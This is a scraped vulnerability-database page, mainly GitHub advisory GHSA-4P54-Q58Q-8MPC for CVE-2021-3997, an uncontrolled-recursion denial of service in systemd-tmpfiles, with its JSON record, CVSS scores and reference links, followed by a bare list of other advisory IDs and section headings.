      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://curl.se/docs/CVE-2020-8285.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Apr/51"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P54-Q58Q-8MPC

Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-28 00:00

Details

A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-3997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-23T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.",
  "id": "GHSA-4p54-q58q-8mpc",
  "modified": "2022-08-28T00:00:32Z",
  "published": "2022-08-24T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/systemd/systemd/commit/5b1cf7a9be37e20133c0208005274ce4a5b5c6a1"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2024639"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-15"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2022/01/10/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-674

Uncontrolled Recursion

GHSA-42H9-826W-CGV3

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

GHSA-43G9-FMQ9-JJPM

GHSA-46J5-6FG5-4GV3

Duplicate Advisory

Original Description

GHSA-48C2-RRV3-QJMP

PoC

GHSA-493P-PFQ6-5258

Impact

Patches

Workarounds

References

GHSA-4CX5-6RWV-F35M

GHSA-4FCP-JXH7-23X8

Summary

Details

PoC

Impact

Suggested Fix

GHSA-4GX2-PC4F-WQ37

Summary

Details

PoC

Impact

GHSA-4P2H-JGGV-23JG

GHSA-4P54-Q58Q-8MPC

Mitigation

Mitigation

CAPEC-230: Serialized Data with Nested Payloads

CAPEC-231: Oversized Serialized Data Payloads